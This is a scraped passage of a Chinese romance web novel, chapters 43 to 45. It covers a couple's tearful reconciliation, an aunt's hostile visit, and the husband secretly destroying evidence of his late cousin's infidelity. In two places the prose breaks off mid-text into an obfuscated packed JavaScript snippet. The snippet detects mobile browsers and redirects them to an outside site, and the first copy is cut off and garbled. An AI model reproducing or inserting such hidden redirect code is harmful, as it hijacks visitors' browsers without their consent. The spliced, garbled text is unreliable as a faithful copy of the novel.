她在世事无常的恐慌无助里想明白一件事情,那就是即使她嫁给了敬渝,因为要靠他才能帮舒家翻案。 他们之间再也不会平等了,敬渝将会有一个一直拖累他的岳家,终有一日她大概也会成为他人生里的蚊子血。 她即将不可避免地要成为依附他才能生存下去的人了,因为除了他,她已经失去了自己拥有的所有。 但如果她没有了自己拥有的所有,她还能心安理得、理所当然地拥有他么? 她没有勇气去赌这个,选择给自己留点体面,给这份感情画一个句号。 比起因为赌气而另嫁他人,她更不能接受的,反而是眼睁睁看着自己跟敬渝的这段感情逐渐走向貌合神离。 这样的感受太折磨人了,就好像是一株精心呵护、饱含期待的蔷薇花,你要亲眼看着它在开花的前夕,于暴雨之中飘零凋谢。 这样的感情收尾太令人难堪了,会成为她一生的阴影的。 43. 第 43 章 第四十三章、 舒纯熙勾唇笑了笑,不知道自己的这些话,敬渝究竟能不能明白。 明明是在笑着,但她转过头坦然望向他的瞬间,眼里还是砸下一滴泪来。 “啪嗒”一声,滴落在敬渝的衣摆,洇出一块水迹。 但两个泪眼朦胧的人都无心去管。 敬渝觉得自己难过极了,身体朝她凑得更近,彻底将人按进怀中。 女人埋首在他胸膛,额头垂下抵着他的心口,不让他看见自己现在的面庞。 声音从身下温吞地传到男人耳边,如同带着午夜里挥散不开的浓雾。 “我没想拖累你的……” 只这一句,重如千钧般压在敬渝心头,而说话的人仿佛也用尽了全身力气,才终于把这句话吐露出来。 尾音带起一片迷蒙,既而急促地哽咽了一下,就喘不上气来。 敬渝连忙把她的头抬起来,用手抚着她的脊背替她顺气。 好一会儿,舒纯熙才稍稍平静下来,面色却因方才的动作涨上些许潮红,呼出的气都虚弱了不少。 女人挪动了一下整个身体,朝敬渝彻底靠近过去,把脑袋搭在他肩上借力,心里的委屈继续漫上来,缓慢地继续说道: “这段时间,你的改变我都看见了,但是……为什么那些喜欢我的话,你不能早点说给我听呢,你晚了,你说得太晚了。” 如果你两年以前就说给过我听,说不定我的底气不会那么快地被抽走,说不定我还有勇气跟你一起去面对那一切,而不是非要选择逃走…… 舒纯熙阖上了又在流泪的眼睛,心里的思绪已经不受控地纷乱了起来,前言不搭后语地设想了起来,所有可能的、不可能的都因为心底那些日积月累的委屈而搭在一起。 她哽咽着,张开嘴用牙狠狠地咬在敬渝的肩膀上面。 其实她也并不像自己先前说得那么果决坚定,并没办法把跟他的回忆就此归还给尘埃世界里飘洒的风。 她不是一定要怪他要怨他要恨他,而是在经年累月的生活里面,她的那些心情终究还是变了质,做不到自己想象的那样坦荡潇洒。 她还是一定要找到一种情感安放在他们两个之间,所以她才开始恨他。 恨他像一颗竹子般空心,恨他沉默寡言、清冷淡漠,恨他从没亲口说过爱自己的话。 舒纯熙回想过他们之间的事,在一起长大的过程里,是她先喜欢上他的。 她是一个任性又骄傲的人,敬渝冷淡严肃没有关系,她可以主动追着他跑。 两家有口头上的婚约,虽然没有正式举行过订婚仪式,在意识到自己喜欢上敬渝之后,舒纯熙很快就以“未婚妻”的身份自居了。 此后,敬渝不得招蜂引蝶,因为他是她的。 男人也惯着她,任何她想要从他这儿弄到的东西,就算要费点功夫,最后也没有得不到的。 她闹,他惯着。 那时候她以为这就是恋爱该有的样子。 如果舒家没有出事,大概他们会维持这样的相处模式,直到结婚,至于往后怎样,舒纯熙也没担心过。 可事情并没有那样发展。 等到她忽然置身于惶恐不安的境遇之中时,她要面临许多前所未有的问题。 比如他们是直接成为未婚夫妻的,在这之前,其实少了一个正式的告白。 比如敬渝从来没有直言过喜欢跟爱,他只回应过关于以后生活的规划,但她迷茫了,他对自己的宠溺是只给自己的,还是因为她是他的未婚妻。 如果他的未婚妻换成别人,他也会这么对那个女生么? 是他在感情之中,就是会这样吗? 舒纯熙不知道了,后来的两年里,这个答案走向了另一个极端,那就是敬渝大概也不是爱她,他只不过是个还不错的男人,对待女生有绅士风度,仅此而已。 然后现在,他跑过来说他喜欢她,说那些从前他根本不会说的话。 她心里的旧账便又开始翻起来。 他们最好的情况,大概就是不要再纠缠、不要再往来,那样她就心安理得地与他相忘于江湖。 可能会有一点遗憾,但那一点遗憾也是凄美的,至少他们没有沦落到面红耳赤的难堪地步。 但他却非要纠缠,非要有往后。 舒纯熙视线模糊,牙根用力,耳边是男人压抑着的呼吸声。 终于,她松开嘴,下颌隐约僵硬酸痛,吸了吸鼻子,将身体离开他。 敬渝咽下喉中的那声闷哼,身体上的疼痛根本就抵不上心中的钝痛,他甚至觉得,她还愿意给他一点生理上的痛,都是在给他机会。 这样他反而还能好受一点。 男人满目悲伤地追上去,伸手捧起爱人的脸,俯身凑近,去亲吻她的双唇。 “对不起纯熙,我爱你,我爱你,我应该早点跟你说的。 “我真蠢,我以为只要对你好,只要予取予求,只要想着你、念着你就够了,我以为我们这样相处是没有问题的。 “对不起纯熙,我爱你,我应该告诉你的。都是我不好。” 是他不好,是他长久地享受了小太阳对自己的热情追逐,却没有考虑过她是不是也会疲惫。 是他像个闷葫芦一样,没有给够她安全感,才让她不敢全身心地依赖自己。 敬渝的心里早已涌起一种无处安放的情绪,像泉涌般将他整个人的身心都给彻底湮灭。 身躯里只余心脏跳动的寂静之声,他觉得自己正在逐渐变得无比渺小。 甚至,她从一开始就没想过非要他娶她,那些背后蜿蜒曲折的东西她懂,所有的一切她都明了。 她斩断和自己的一切,一直都没有回头,不仅仅是因为已经决定放下他,甚至,在她做这个决定之前,她还在替他着想着。 他的纯熙虽然比自己还要小上两岁,但她在这段感情里面,比他成熟多了。 她喜欢他的时候,就追着他给他所有的热烈美好,到了该说再见的时候,她也没有流连,做了一个其实最不任性的选择。 她用最后一次“赌气”,成全了他们之间的感情,和他对敬家需要负有的责任。 那么剩下的一切苦痛难过,就只能由她自己咽下去了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515498|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >佳人如斯,而他却第一次如此清楚地看明白这颗蕙质兰心,无可避免地生出一种自惭形秽来。 “对不起纯熙,我是个混蛋,我真是个混蛋……我根本配不上你对我这么好,对不起,对不起……” 唇从她嘴边移开,男人拥上去,将她的头紧紧搂在胸膛上,指尖颤抖,用力的同时却又怕弄疼怀里的人,泪珠啪嗒低落她发顶,又低头吻去。 “我是混蛋,纯熙,我不配,我不值得你对我这么好。” 心痛到难以自抑,身体循着她的气味靠近着她,好像只有遵循动物的本性,才能在这一方压抑到极致的天地里找到归处。 男人捧起她的脸,迷乱地凑上去吻她,虔诚衷心无比,动作小心翼翼,如同对待一件绝世珍宝。 吻她洁白光滑的额头,吻她轻颤的眼皮,吻她高挺小巧的鼻尖,吻她可爱的双颊,吻她抿着悲伤弧度的嘴巴,吻她单薄的下颌。 最后,又吻回那张唇。 舒纯熙闭着眼,感受得到男人笨拙地在描绘自己的唇形,带着试探的不安,咬她的动作,却又带着点狠厉的强势。 喉咙溢出一声低哼,她张开唇关,流着泪的同时,放他进来,沉默地回应起了他。 男人低头抱着她接吻的姿势,让她有些吃力,舒纯熙不得不使劲儿仰起头颅,在逐渐急切的动作里愈发用力。 一种说不清道不明的情绪推搡着她去回应敬渝。 到最后,她也分不清到底是心中的委屈压过了欲/望,使她不得不去抓住些什么,才能填满心中的大洞。 还是欲望终于战胜了那份溢满出来的委屈,任由她在这一刻放纵深陷了下去。 两人尽情纠缠,各自流泪,湿润的触感糊满彼此的面,忍不住动/情地发出愉悦的低呼。 敬渝喉头滑动,强忍着离开了舒纯熙。 怀中的女人既而睁开明眸,有些迷茫地看着自己。 他抚了抚她肩后的黑发,伸手将她抱起,温柔地平放到床上。 然后覆过去,撑在她面前,再次低头吻她。 只不过这一次,他只是先单方面清浅地啄了她一口,然后凑上去将她双唇分开,用牙将她的下唇咬起,轻轻地磨动着。 就像一只用口中尖牙叼着小白兔的大灰狼,不肯松开口,但也始终顾忌着没有把她的皮肤给咬破。 而后再是上唇。 想亲又亲不到,女人难耐地睁开眼睛,寻到他闪着一点不同寻常的光的眼神,心中一烫,不知所措地抬起一只脚踢了一下,很快就被敬渝用腿制住。 原先抵在身侧的双手没由来地感到慌张,抓紧了身下垫着的被子单面,趁着他总算松开口的空当,溢出一点气音,小声问: “你,你干什么?” 男人的手肘撑在她身侧,伸手将她耳边的碎发拢了拢,嗓音沙哑,从喉中滚出一声声急促的浊重呼吸,平复得差不多之后,才郑重地对她说: “纯熙,你再给我一次机会吧。我发誓,这辈子绝不会再让你受一丁点的委屈,也绝对不会再让你为我流一滴眼泪。若违此誓,就叫我孤独终老,不得好死。” 44. 第 44 章 第四十四章、 舒纯熙眼疾手快地伸出手把他嘴捂住,心砰砰跳起来,目光躲闪地望向天花板,慢吞吞地说: “你说什么乱七八糟的,如果真有一天……怎么样了,那我们分开就好了,不要诅咒对方,没这个必要的。” 她是怨他不知道该表达自己的爱,但是也没有叫他矫枉过正,非要发毒誓来跟自己表白啊。 另一边的敬渝已经牵起唇角,因为心中正逐渐涌上来将他淹没的欣喜。 她因思考着用词而皱起眉头后,终究说出来一句“如果真有一天”,这不就是证明他们之间还有以后的意思吗? 她是愿意再给他一次机会的,她没有拒绝…… 敬渝想着,望着舒纯熙的视线就渐渐被湿润蓄满了,竟然只能看得见她模糊的样子,有些难为情地偏了偏头。 女人浅浅地笑出了声,抬起手,在那几滴泪珠彻底滴落下来之前,用睡袍的衣袖替他擦了擦眼泪。 樱桃小嘴微微翘着,好像有点看不起他了,扬着声音嘀咕了一句, “你哭什么哭?” “我,我就是、太高兴了。” 敬渝有点羞愧地眨了眨眼,伸出拇指也擦了擦她的眼尾,勾唇小声说: “你看,你也都成小花猫了。” “哼。” 身下人打了一下他的手臂,想从他身下爬起来。敬渝便转过身先坐起来,然后扶了舒纯熙一把。 看着她在床上坐好后,男人又从身后轻轻地抱过去,双手穿过舒纯熙的臂弯,将她的后背裹在自己身前,头也向前抵在她的肩膀上。 敬渝也不知道自己是怎么想的,但就是想把她拥在怀里,只有真真切切地感受到她的存在,好像才会心安。 原本在心里很少有太多情绪变动的人,如今也患得患失、小心翼翼了起来。 那些他从前根本就做不出来的许多举动,如今也鬼使神差地开始了尝试,每日做的都是厚脸皮的事情。 但如果,让他变化的这个人是舒纯熙的话,好像也没有什么难以接受的了。 他只恨自己懂得的太晚了,时至今日才彻底醒悟,其实他真的不怎么明白应该如何去爱一个人。 只不过,过去的她对自己太好了,他所缺少的情感炙烈的那部分,也被她大大方方地接纳宽容。 但,如果有一天她不再愿意包容自己,一下子收回她的那些主动的善意,那他们的关系也就会陷入僵局之中。 这件事,自从舒纯熙从波利回来,他就深有感触,常常觉得自己拿她丝毫没有办法。 如同一个运行自如的魔术法阵,突然失去了泉眼法器那样,会彻底变成一堆废铜烂铁。 而纯熙给出的爱,才是他们从前关系里面,那个最重要的泉眼…… 但自己竟然到今天,才想明白。 如同大狼狗在主人的腿边轻蹭一般,敬渝的下颚在女人的肩膀上轻轻磨动了一下,在心里默默地想。 而被男人抱在怀里的女人有些僵硬,刚刚被他平放在床上,她其实感觉得到,或许他……但是现在这个拥抱温温柔柔的,好像又并没有那种意思。 一想到那件事,舒纯熙心里没由来得一阵慌乱。 如果刚刚他真的要怎样,她可能有一瞬间的冲动会去接受他。 但是冷静下来之后,让她好好去想一下,她发现自己其实不太想。 性/爱对于她来说,完全是由敬亭定义给她的,所以在她的心里,这件事伴随着侮辱、羞辱、屈辱等所有的不好的情绪。 是一个女人跟一个男人在赤裸相对时,明明需要他的一点怜惜,而对方却在你敞开身体后扎上最致命的一刀。 就这样想了一下,舒纯熙已经不适起来,干巴巴地将敬渝搭在自己小腹前的两只手掌拆开,自顾往旁边移了移。 背对着敬渝的脸没有转过来,双手抻在身侧,那张肩背看上去有种说不出的倔强,还有落寞。 敬渝不知道怎么了,朝着她那边移了一点,但克制着自己的双手,没有贸然去触碰舒纯熙。 只是用一只手护在她身后,用尽量温和的语调询问她: “怎么了纯熙,你哪里不舒服吗?” 舒纯熙不知道该怎么解释自己现在的情况,僵硬地将一只撑在床上的手抬起来,手背向上翻过来,垂下双睫看了一眼。 她的手心上生出冷汗,而整个身体也都如同失去了温度一样。 没有回头把自己的反应露给敬渝看,只是低着头,用尽量平静的语气说了一声: “我没事。” 这三个字在敬渝听起来有点古怪,语调平平,仔细一想,跟今天他们两个说过的所有话的语气都不一样。 就仿佛她又平静了下去,疏离了开来,像之前的那些日子一样。 仿若他们从来就没有在这一夜,相拥哭泣过。 风平浪静之后,她又只留给他一个背影。 敬渝静默着,朝她靠近了一些,先是伸出一只手轻轻地搭在她背上,确认她已经感知到自己的动作、并且没有抗拒之后,才又抱上去,双手揽在女人身前。 怀里的女人没有什么反应,几乎默许了他的动作。 在心里暗自松了一口气,男人才偏过脸,看舒纯熙凝着的双眸,他们一前一后坐着,身体依靠得很近,近到敬渝并不能看清她变得苍白的脸色。 但她十分僵硬的躯体,乃至于结了冰霜一样的磁场,都昭示着她现在心绪的不宁。 敬渝拥了她一会儿,忽然就凑上去亲了一下她的左脸。 一声皮肤相触又分开的响声在房间里冒出来,舒纯熙扯了扯唇角,伸手反过来覆住敬渝的手背,低下头,声音里透露出疲惫,慢慢地对他说: “我不想做。” 男人愣怔了一下,想明白之后才缓缓哑然失笑,将自己偏过去的头收回来,脖子朝她的脖颈旁凑近贴在一块儿。 然后他抱着怀里的人,带着她的上半身朝着左右两边,规律地摇晃了起来,就像一大一小两只不倒翁。 舒纯熙被他这幼稚的动作弄得六神无主,便是一开始再怎么沉浸在先前的情绪里面,也不得不分出心神来应付他,反而生出点烦躁的情绪,扭过头要去寻敬渝的眼睛。 嘴嘟起,不满地说: “你干嘛啊……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516549|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对上的是一双带着促狭的眼睛,她发了话,他才停下来不闹她,然后伸出手,用食指的指尖将她的两边乌发顺了顺,在她耳边悄悄地说: “可我觉得你明明有事,你有点不高兴。” 听他这话,被拥在怀里的女人才意识到,刚刚大概是她反应过度了。 他并没想怎么样,反而是更关心她的情绪。 心外面缠着的果皮剥开小巧的一片,舒纯熙和自己心里的情绪独处了好一会儿,也没有弄明白她现在的感受具体是什么。 有点酸酸的,有点涩涩的,有点难过委屈,还有点心虚羞愧。 她刚刚想的那些事,又怎么能复述给敬渝听呢? 想要惆怅惘然地叹一口气,却又因为意识到他在意自己情绪的这个举动,将那口气生生止在半途中,转而涌起一种无处抒发的酸胀。 心里面酸溜溜的。 舒纯熙终于张开嘴,温吞极了,一个字一个字往外蹦,承认了敬渝的猜测。 “我不舒服……我难受。” “你哪里难受,要不要紧?身体难受吗?” 耳边几乎立刻就传来了回应,就连抱着她的手臂都紧绷了一点,好像整个人进入警戒状态。 她只将头垂得更低,默默地回答说: “我心里难受。” 男人总算收敛了些风声鹤唳,听明白她不是身体原因的难受,而是心里面不舒服。 有了个方向,自然才好对症下药,敬渝克制地呼出一口先前屏住的气,只是把她抱得更紧,同时在脑海里思索了一下,张开口,竟然低声哼唱起了一首歌。 敬渝平时并不怎么听歌,只能在自己为数不到的记忆里找到一首童年的歌谣,边唱边回忆着那首歌的调。 似乎还是要面子,有点担心唱得不在调上,慢条斯理地往外一句一句哼。 “摇啊摇,摇啊摇,摇到外婆桥,外婆叫我好宝宝,一只馒头一块糕。……” 这首歌他就记得这几句词,翻来覆去地唱,越唱越熟练。 怀里的人没说什么,但逐渐将后背交给了他,在他的怀中软下去。 男人清润的声音在夜晚的卧室里飘扬,唇角愈发勾起的同时,情不自禁地又带着怀里的人小幅度地要摇晃了起来,倒是很应景。 不知道唱了多久,好像耳边的声音就没有停下来过,舒纯熙总算露出一丝笑意来,忽然说: “我有点冷。” 还在哼唱着的男人听到了她开口,但两个声音交叠在一起,听得不清晰,很快停下了自己的歌,而那几个要紧的字已经跟他的歌一样戛然而止了。 如同风吹过,只留下一点扬起的衣摆。 敬渝扬着好看的眉毛,侧了头偏在妻子耳边,确认了一遍, “你刚刚说什么了,我没听清楚……” 舒纯熙从他怀里出来,转了个方向面对着他,难得耐着性子重复了一遍,说: “我冷。” 敬渝张了张双唇,似乎在思考她这句话背后的含义。好在他没有想太久,就好商好量地张开了自己的双臂,含着微笑说: “那我抱抱?” 45. 第 45 章 第四十五章、 面对面跪坐在身前的女人目光躲闪,有点不情愿地磨蹭着。 敬渝嘴角的笑凝着,鼓起勇气探身过去,抓住舒纯熙的双臂,像拔地里的萝卜那样,把她拨到了自己的身上。 两个人顺势往后朝床上一滚,男人的身体垫在底下,而被他拉着的人撞在他怀里。 寂静的房间里响起彼此的闷哼,而后又恢复平静。 待了好一会儿,舒纯熙抬起下巴,抵在敬渝削瘦但还算坚实的胸膛上,从自己的角度去看他的下巴。 似乎是不好意思,总之超级小声地说: “你回房来睡吧。” 这六个字果然给了敬渝不小的影响,她感受得到底下的“肉垫”不受控制地动弹了一下,然后两只手穿过她的腋窝,把她往上一提溜。 惊呼一声,舒纯熙就被拽到了他头顶,她只得仰着头颅,不然就要跟他面贴着面了。 ……不要脸! 舒纯熙暗骂一句,然后眼底下那人就带着笑,得意地勾起唇角,对她说: “那你亲我一口嘛。” “呵呵”一声,小猫直接俯下身在他的右脸上咬了一口,留下一圈不明显的牙印。 敬渝疼得倒抽一口凉气,两只长腿在床上无奈地蹬了一下,然后就被身上人的脚一下制住,不敢再随意动弹。 “舒纯熙你谋害亲夫!” 伸手捂住那半边脸,敬渝委屈起来,一句话没过脑子就脱口而出。 不过说完之后,他就立刻闭上了嘴,还没有等心里面那点不妥的感觉蔓延开来,就看到了舒纯熙愣神的目光。 两个人一时之间都没有再贸然开口。 好像说点什么,都有些奇怪。 这场婚姻,更像是一个能把她安然留在自己身边的幌子。 但丈夫跟妻子的身份,他自己都尚且没有适应过来,想来舒纯熙只会更甚。 最后,还是敬渝将一只手给抽出来,放到舒纯熙的脖子后,把她的脑袋轻按在自己的胸膛上,再搂着她躺好,默不作声地抚摸起了她的脊背。 从前,只有妈妈才会在拥抱的时候,对舒纯熙做这个安抚的动作。 她不知道敬渝是从哪里学来的,但总之,现在又多了一个人会这样照顾自己。 窝在敬渝的怀里,她迷迷糊糊地想,迟缓地进入了梦乡。 意识到将人给哄睡了之后,敬渝又抚了她一会儿,才停下规律的动作,悄悄地将手抽回来,下了床。 然后探身把睡熟的女人给抱了起来,转了个方向,将她好好安置在床上,替她掖好被子。 睡梦里的女人难得舒展着眉目,只是试图眨动起来的双睫昭示着她正在梦里遇见什么,也不知是美梦还是噩梦。 舒纯熙的双唇微微张开,因吐气,中间形成一个椭圆的小口,看上去可爱极了。 敬渝撑在床边看了她一会儿,眼尾染笑,低头吻了吻她的唇。 . 第二天,舒纯熙是在敬渝怀里醒过来的。 她睡觉不习惯拉上窗帘,便看得见外面天光大亮,光线透过露台投进整个卧室,把一切都照成一种淡黄色的明亮,看上去很清新。 女人在怀里一动,拥着她的男人就也醒了,环绕在她腰间的双臂尝试着动弹了一下,底下那只手臂的大臂显然麻得不能动了。 他没有克制,“嘶”的发出一声气音来。 怀里的小脑袋动了动,身体转了个方向,探头好奇地去望他, “怎么了?” 敬渝从来没觉得清晨醒来是这么一件美好的事情,即使是在一边手臂酥麻得让人觉得失去了对身体的控制权的情况下。 整个人因为意识到怀里的人是她之后,就已经被一种泛着神圣圣洁的光芒照耀,从心口里涌出源源不断的满足和感动来。 勾起的唇角昭示着掩饰不住的喜悦,敬渝用另一只手揉了揉舒纯熙的发顶,低声说: “纯熙,我的手好像麻了。” 舒纯熙原本舒展的容颜好像皱了一下,很快从床上爬起来,好让他底下的那只手臂不再被自己压着。 女人穿着有点凌乱的睡衣在他手臂旁跪坐着,抵着手面露纠结地盯着他的手腕,看上去很是紧张。 其实她也不知道自己为什么被敬渝搂着睡了一夜,她睡觉一向很安分,别不是昨天晚上他自己靠过来的吧? 敬渝等着手臂感官回笼的同时,抬起眼皮子好整以暇地观察着女人的反应,笑了声安慰道: “我好像没事,缓一下就好了。” “噢。” 依旧盯着他在看,这一声答得有点敷衍。 敬渝觉得这样的舒纯熙可爱极了,就像以前那样鲜活。尝试着动了动手臂,男人撑着起了床,倾身过去,用食指勾了一下她小巧的鼻子,含着笑说: “我没事了。” 舒纯熙转过身,率先下了床。 敬渝则跟在她身后,两个人一起走进洗手间,在洗手台前挤在一处洗漱。 . 敬渝要上班,临走前破天荒地霸道了一次,揪着她的下巴,吻了好一会儿才愿意出门。 就因为早上的这个吻,舒纯熙一直晕晕乎乎到了中午,吃完午餐后,还难得睡了个午觉。 然后她睡醒后下楼来,就看见坐在客厅沙发上的客人。 舒纯熙认出那是敬渝的小姨。 朝着客厅走过去的时候,她还在回想那人背对着自己的脸是什么样。 她依稀记得,那是一个光从面相就能够看出来刻薄来的女人。 她走过去,淡淡地喊了一声“小姨”。 郑召雅轻微地皱起了眉头。 以前舒纯熙跟敬亭还没有结婚的时候,她也是跟着敬渝叫自己“小姨”,只不过今时今日再听舒纯熙叫的这声“小姨”,心里面怎么都有点不得劲儿。 她今天来,就是因为听说了敬渝跟她的婚事,特地为了见舒纯熙的。 “我今天来就是看看你的。 “毕竟我姐她没福气,生小渝的时候就难产走了,这么多年这家里,也就我这个小姨能替小渝操操心了。” 郑召雅没好气地叹了一声,没等舒纯熙回答,就拧着眉头忽然问: “听说,你跟小渝已经领过证了?” 舒纯熙在旁边坐下,双手交握在一起,放在剩下八指遮挡下的拇指指尖已紧紧揪在一起。 这种咄咄逼人的场景,令她止不住就想起两年前,敬亭给自己打电话的前一天,她同样是坐在这个客厅里,坐在这个沙发上面,听郑召雅发表她那一番让自己不要再拖累敬渝的高谈。 想着,舒纯熙小声“嗯”了一句。 郑召雅翘起二郎腿,向后仰在沙发靠背上面,很不满舒纯熙对自己的态度。 称不上毕恭毕敬就算了,连大大方方地回答长辈问话都不行。 当初这两个人订婚的时候她就不看好,也不知道姐夫是怎么想的,连自己这个亲小姨的意见都不考虑,非要跟舒家结亲。 从私心上来说,郑召雅其实更希望敬渝能娶自己夫家的一个侄女,亲上加亲多好。 那小女孩儿可比这个舒纯熙顺眼多了。 但也耐不住自己这死心眼的外甥喜欢啊。 “舒小姐,这么多年了,我也实在是想不明白,你这个人身上有什么魔力,能做到蛊惑完哥哥,还能去蛊惑弟弟。 “当然了,蛊惑完弟弟呢,你竟然还能转过头来再蛊惑哥哥。听说你们结婚的事,我还不相信,因为这实在是太匪夷所思了。” 舒纯熙瞳孔微动,盯着郑召雅看的眼神有点吓人起来。 “你可知道我们这些长辈都是不赞同你们的婚事的?但是现在谁还敢去跟小渝说,只怕再跟他提这件事,我们都要踏不进暮帆商会的大门了。” 郑召雅撇撇嘴,嫌弃地看着舒纯熙,把心里的一通火都发出来之后,才软和了一点语气,想了想,还是说: “但是小渝非要跟你结婚,我们也就睁一只眼闭一只眼吧,结都结了。我今天来就是告诉你,小渝也老大不小了,你早点给他生个孩子才是要紧事。至于生了孩子以后怎么样,你们年轻人的事我也就不管了,你听明白了吗?” 舒纯熙垂下头,面上没有什么表情,只得低低地应道: “我知道了,小姨。” . 敬渝今天有一场推不开的饭局,尽量早地离了席,回家后先跟郑徽回了书房。 先前的那个私家侦探刚挖出来一点消息,就迫不及待地发给郑徽了。 坐在办公桌后的男人盯着两张纸还有旁边的一大叠照片,良久地出着神。 “我之前去调了家里的访客记录,两年前舒家刚出事没多久,太太到敬宅来暂住的那段时间,您小姨郑女士来过敬家一次,好像跟太太聊过天……” 郑徽查到的实在有限,斗着胆提醒了一句, “我不知道,这件事跟舒小姐去莫瑞恩尔有没有关系,你自己判断吧。” 敬渝烦躁地吐了一口气,捏了捏眉心。 郑徽闭上嘴,目光也不由得落在那堆照片上面,过了一会儿,继续说: “最上面照片上的这个女人叫Sophia,是波利红灯区的一位应召女郎,名气很大,二少爷在一年前开始捧她的场,给她买过两套高级公寓,还……” 郑徽越说越觉得自己要死了,带着一股子绝望试图把自己的存在感降到最低,但声音还是没办法维持平日里的平静,有点颤地说: “还带她在外面过过夜,不完全统计,至少有个三四次。但他好像很快就腻了,然后就换了别人,底下那些都是从狗仔那里买来的底片。” 郑徽粗略看了眼,就知道上面至少有一沓十几张照片。 也就是说,敬亭在跟舒纯熙的婚姻存续期间,出轨了至少大半年,而且对象还远远不止一个。 坐在办公椅上的敬渝垂眼看了下那照片,随手一翻的动作里都透着一种想杀/人的死寂。 想以手覆住口鼻,捂住自己的手不受控制地颤抖了一下,然后被他刻意地压制了下去。 男人费解地眨了眨眼,抬头用一种透着迷茫的眼神跟郑徽对视。 敬亭怎么会出轨? 他为什么要出轨? 他不是喜欢舒纯熙的吗,不是非她不娶、此生挚爱吗? 敬渝在脑子里面回想着从前,那些从他嘴里吐出来的真心告白。 那时候,那个会露出八齿笑的堂弟在他面前说: “大哥,我知道你以前对纯熙很好,但是我也不比你差,你看着吧,我跟纯熙一定会很幸福的。” 那时候他听在耳里,满心苦涩,但敬亭眼底的笑意和希冀却是真真切切的啊。 他甚至还欣慰过,这话刺不刺伤我只是其次,重点是敬亭也爱纯熙,他的爱未必比我少,那就很好了,纯熙同样会幸福。 即使那个给她幸福的人不是自己。 他在理智上面祝福他们,至于国内的这些事,就交给自己来扛就行。 他的纯熙只要幸福就好。 敬渝摇了摇头,一对长长的桃花眼底浮上未满眼眶的晶莹来,摇了摇头,不敢相信地说了一句, “不可能,敬亭为什么会出轨?” 不,这甚至都不能称之为是出轨,这是包/养情人,这是出去嫖/娼啊。 难道在他的心里,他的妻子是可以和外面那些人相提并论的吗? 他为什么要出轨呢? 他已经娶了舒纯熙,已经娶了他最爱的女人,他已经赢了,他已经是最大的赢家了不是么?! 那他为什么还要那样做?为什么那样对他的妻子? 双手捂住口鼻,不可置信地揉了揉。 如果是自己娶了舒纯熙,他一定不会背叛她,他有她一个就完全足够,这辈子都不会动任何歪心思的。 敬渝想着想着,只觉得毛骨悚然,背后冷汗迭起,无论如何都不能说服自己相信这件事。 这真的太匪夷所思了。 太可笑了,不是吗? 敬渝无声地勾起唇,露出一个似笑非笑的弧度,然后嘴角又拉下去,脸沉着。 如此反复了几次,他才好像实在受不了了一样,双手手肘撑在桌面上,额头低下去磕了磕冰凉的桌面。 然后男人踢开椅子站起来,走到了郑徽面前,伸出手用了很大的努力,克制着将手拍在郑徽的肩上,说: “这不是真的,这是不可能的,对吧?你骗我,你跟我开玩笑的。” 郑徽不敢直视敬渝的眼睛,低下头盯着地板,没有回答。 桌上的就是真相,这个私家侦探他们用了很多年,一向严谨,只是挖东西需要的时间要长一点。 老板只是需要一点时间,才能彻底接受事实。 过了一会儿,敬渝茫然地收回了手,插着腰在书房里来回踱步,又问: “他为什么要出轨呢,他不知道那样会伤纯熙的心吗,他不知道吗,他没有良心的吗?” 郑徽也不知道该怎么回答。 事实摆在那里,问为什么大概也没有什么意义,事实就是敬亭已经这么做了,有任何动机也并不是能替他解释的理由。 “敬总,这件事太太知道吗,你要告诉太太吗?” 郑徽有点干巴巴地说了一句,寄希望于这件事展现出来的唯一的好处。 那就是原本舒纯熙不愿意全身心接受敬渝,可能是因为忘不了上一段感情,更何况敬亭极有可能还是为了救她才死的。 但如果她知道了敬亭的不忠,说不定就愿意放下过去,重新开始了。 虽然这么说有点不道德,但这对敬渝是一个好机会。如果他愿意,他就能够在太太面前揭露敬亭虚伪的面具,让她看清楚那是个怎样的人。 郑徽的话讲敬渝从满心满腹的慌乱里拉了回来,他抬起手做了个手势,立刻说: “不要告诉她。” 敬亭已经死了,他生前做过的那些背叛她的丑事就应该随着他一起入土。 他不会再给敬亭任何一点伤害舒纯熙的可能性。 这件事情,如果舒纯熙已经知道,那么他们没有再提她伤心事的必要。如果她不知道,敬渝想,那就算了吧,他其实并不希望她知道自己的前夫做过怎样对不起她的事情。 她会伤心,也会难过,还会痛苦的。 不要告诉她了。 敬渝宁愿她在心里还给敬亭留一个位置,以为自己的前夫是一个合格的爱人,也不想人死灯灭之后,她还要一个人去面对那种难堪的丑事。 摇了摇头,敬渝打定主意之后,反而没了之前那股子被抽了三魂六魄的样子,如同再次有了主心骨一般,走回桌子后面,把那叠照片和那两张纸好好地装回文件袋里面。 而后,走到墙边的碎纸机里,将整个文件袋塞进齿轮之中,静静地看着那些东西被机器彻底撕碎销毁。 “还有别的消息么?” 男人转身走回来,耷拉着眼皮子,漫不经心地问了一句,得到否定答复之后,才继续说: “你再找几个人,分别去查,我要知道纯熙在波利的所有事。” 郑徽走出房门时,正好看见远处一个女人娉婷地走走廊那头过来,应该是刚刚下楼就往这边走,正是舒纯熙。 两个人在道中遇上,舒纯熙冲郑徽礼貌地笑了一下,问: “敬渝在书房吧?” “是的,敬总在里面,太太。” 于是舒纯熙点点头,经过郑徽,往书房去了。 